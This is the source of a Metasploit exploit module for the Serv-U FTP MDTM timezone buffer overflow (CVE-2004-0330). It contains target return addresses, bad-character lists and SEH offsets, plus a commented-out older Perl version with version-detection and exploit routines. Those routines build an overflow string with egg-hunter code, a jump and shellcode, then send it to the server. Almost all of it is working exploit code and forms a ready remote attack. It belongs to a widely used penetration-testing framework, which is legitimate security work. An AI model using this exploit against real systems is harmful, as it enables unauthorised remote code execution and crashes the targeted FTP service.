metasploit-framework/modules/exploits/windows/ftp/servu_mdtm.rb

333 lines
8.4 KiB
Ruby
Raw Normal View History

require 'msf/core/exploit/ftp'
module Msf
class Exploits::Windows::Ftp::ServUMDTMOverflow < Msf::Exploit::Remote
include Exploit::Remote::Ftp
def initialize(info = {})
super(update_info(info,
'Name' => 'Serv-U FTPD MDTM Overflow',
'Description' => %q{
This is an exploit for the Serv-U's MDTM command timezone
overflow. It has been heavily tested against versions
4.0.0.4/4.1.0.0/4.1.0.3/5.0.0.0 with success against
nt4/2k/xp/2k3. I have also had success against version 3,
but only tested 1 version/os. The bug is in all versions
prior to 5.0.0.4, but this exploit will not work against
versions not listed above. You only get one shot, but it
should be OS/SP independent.
This exploit is a single hit, the service dies after the
shellcode finishes execution.
},
'Author' => [ 'spoonm' ],
'Version' => '$Revision$',
'References' =>
[
[ 'OSVDB', '4073'],
[ 'URL', 'http://archives.neohapsis.com/archives/bugtraq/2004-02/0654.html'],
[ 'URL', 'http://www.cnhonker.com/advisory/serv-u.mdtm.txt'],
[ 'URL', 'http://www.cnhonker.com/index.php?module=releases&act=view&type=3&id=54'],
[ 'MIL', '59'],
[ 'BID', '9751'],
[ 'CVE', '2004-0330'],
],
'Privileged' => false,
'Payload' =>
{
'Space' => 1000,
'BadChars' => "\x00\x7e\x2b\x26\x3d\x25\x3a\x22\x0a\x0d\x20\x2f\x5c\x2e",
},
'Targets' =>
[
[
'Serv-U Uber-Leet Universal ServUDaemon.exe',
{
'Platform' => 'win',
'Ret' => 0x00401877,
},
],
[
'Serv-U 4.0.0.4/4.1.0.0/4.1.0.3 ServUDaemon.exe',
{
'Platform' => 'win',
'Ret' => 0x0040164d,
},
],
[
'Serv-U 5.0.0.0 ServUDaemon.exe',
{
'Platform' => 'win',
'Ret' => 0x0040167e,
},
],
],
'DisclosureDate' => 'Feb 26 2004',
'DefaultTarget' => 0))
register_advanced_options(
[
OptInt.new('SEHOffset', [ false, "Offset from beginning of timezone to SEH", 47 ]),
OptInt.new('ForceDoubling', [ false, "1 to force \\xff doubling for 4.0.0.4, 0 to disable it, 2 to autodetect", 2 ]),
], self)
end
# From 5.0.0.4 Change Log
# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
#
# Nice way to play it down boys
#
# Connected to ftp2.rhinosoft.com.
# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
#
# Heh :)
=begin
##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##
package Msf::Exploit::servu_mdtm_overflow;
use base "Msf::Exploit";
use strict;
use Pex::Searcher;
use Pex::x86;
use Pex::Text;
# From 5.0.0.4 Change Log
# "* Fixed bug in MDTM command that potentially caused the daemon to crash."
#
# Nice way to play it down boys
#
# Connected to ftp2.rhinosoft.com.
# 220 ProFTPD 1.2.5rc1 Server (ftp2.rhinosoft.com) [62.116.5.74]
#
# Heh :)
sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}
sub Check {
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintError;
return $self->CheckCode('Connect');
}
my $r;
$r = $self->response($s);
goto NORESP if(!$r);
if($r =~ /Serv-U FTP Server v4\.1/) {
$self->PrintLine('[*] Found version 4.1.0.3, exploitable.');
return $self->CheckCode('Appears');
}
elsif($r =~ /Serv-U FTP Server v5\.0/) {
$self->PrintLine('[*] Found version 5.0.0.0 (exploitable) or 5.0.0.4 (not), try it!');
return $self->CheckCode('Appears');
}
elsif($r =~ /Serv-U FTP Server v4\.0/) {
$self->PrintLine('[*] Found version 4.0.0.4 or 4.1.0.0, additional check.');
}
elsif($r =~ /Serv-U FTP Server/) {
$self->PrintLine('[*] Looks like Serv-U, but not a version I know.');
return $self->CheckCode('Appears');
}
else {
$self->PrintLine('[*] Banner doesn\'t look like Serv-U, possible it still is.');
return $self->CheckCode('Safe');
}
$s->Send("USER " . $self->GetVar('USER') . "\r\n");
goto NORESP if(!$self->response($s));
$s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
goto NORESP if(!$self->response($s));
$s->Send("P\@SW\r\n");
$r = $self->response($s);
goto NORESP if(!$r);
if($r =~ /500/) {
$self->PrintLine('[*] Found version 4.0.0.4, exploitable');
return $self->CheckCode('Appears');
}
else {
$self->PrintLine('[*] Found version 4.1.0.0, exploitable');
return $self->CheckCode('Appears');
}
# quit is for losers, exiting uncleanly rocks.
return $self->CheckCode('Safe');
# dirty
NORESP:
$self->PrintLine('[*] No response from FTP server');
return $self->CheckCode('Generic');
}
sub Exploit {
my $self = shift;
my $targetHost = $self->GetVar('RHOST');
my $targetPort = $self->GetVar('RPORT');
my $targetIndex = $self->GetVar('TARGET');
my $shellcode = $self->GetVar('EncodedPayload')->Payload;
my $sehOffset = $self->GetLocal('SEHOffset');
my $s = Msf::Socket::Tcp->new
(
'PeerAddr' => $targetHost,
'PeerPort' => $targetPort,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);
if ($s->IsError) {
$self->PrintLine('Error creating socket: '.$s->GetError);
return;
}
my $r;
$r = $self->response($s);
goto NORESP if(!$r);
# $targetIndex = 1 if(!$targetIndex && $r =~ /v4\.1/);
# $targetIndex = 1 if(!$targetIndex && $r =~ /v5\.0/);
$s->Send("USER " . $self->GetVar('USER') . "\r\n");
goto NORESP if(!$self->response($s));
$s->Send("PASS " . $self->GetVar('PASS') . "\r\n");
goto NORESP if(!$self->response($s));
# Autodetect no more
# if(!$targetIndex) {
# $s->Send("P\@SW\r\n");
# $r = $self->response($s);
# goto NORESP if(!$r);
#
# $targetIndex = $r =~ /500/ ? 1 : 1;
# }
# Should have paid more attention to skylined's exploit, only after figuring
# out how my payloads were getting transformed did I remember seeing \xff
# doubling in his CHMOD exploit, arg!
if($self->GetLocal('ForceDoubling') == 1) {
$self->PrintLine('[*] ForceDoubling enabled, enabling \xff doubling.');
$shellcode = xffDoubler($shellcode);
}
elsif($self->GetLocal('ForceDoubling') == 0) {
$self->PrintLine('[*] ForceDoubling disabled, disabling \xff doubling.');
}
else {
$s->Send("P\@SW\r\n");
$r = $self->response($s);
goto NORESP if(!$r);
if($r =~ /^500/) {
$self->PrintLine('[*] Serv-U 4.0.0.4 detected, enabling \xff doubling.');
$shellcode = xffDoubler($shellcode);
}
}
my $target = $self->Targets->[$targetIndex];
$self->PrintLine('[*] Trying to exploit target ' . $target->[0]);
my $searcher = Pex::Searcher->new("\x34\x33\x32\x31");
# Searcher expects address to start scanning at in edi
# Since we got here via a pop pop ret, we can just the address of the jmp
# off the stack, add esp, BYTE -4 ; pop edi
my $searchCode = "\x83\xc4\xfc\x5f" . $searcher->Searcher . 'BB';
if($sehOffset < length($searchCode)) {
$self->PrintLine('[*] Not enough room for search code.');
return;
}
my $jmpBack = Pex::x86::JmpShort('$+' . (-1 * length($searchCode))) . 'BB';
# $jmpBack = "\xcc\xcc\xcc\xcc";
my $command = 'MDTM 20031111111111+' . ('A' x ($sehOffset - length($searchCode)));
$command .= $searchCode;
$command .= $jmpBack . pack('V', $target->[1]);
$command .= ' /' . $searcher->StartTag . $shellcode . $searcher->EndTag . "\r\n";
$s->Send($command);
$r = $self->response($s, 2);
if($r) {
$self->PrintLine('[*] Received data back from server, not a good sign, maybe newer than 5.0.0.0?');
}
$self->Handler($s);
return;
# dirty
NORESP:
$self->PrintLine('[*] No response from FTP server');
return;
}
sub response {
my $self = shift;
my $sock = shift;
my $r;
if(@_) {
my $timeout = shift;
$r = $sock->Recv(-1, $timeout);
}
else {
$r = $sock->Recv(-1);
}
chomp($r);
$r =~ s/\r//g;
$self->PrintLine("[*] REMOTE> $r") if($r);
return($r);
}
# Serv-U is dumb. Doubling for 4.0.0.4
sub xffDoubler {
my $payload = shift;
$payload =~ s/\xff/\xff\xff/g;
return($payload);
}
=end
end
end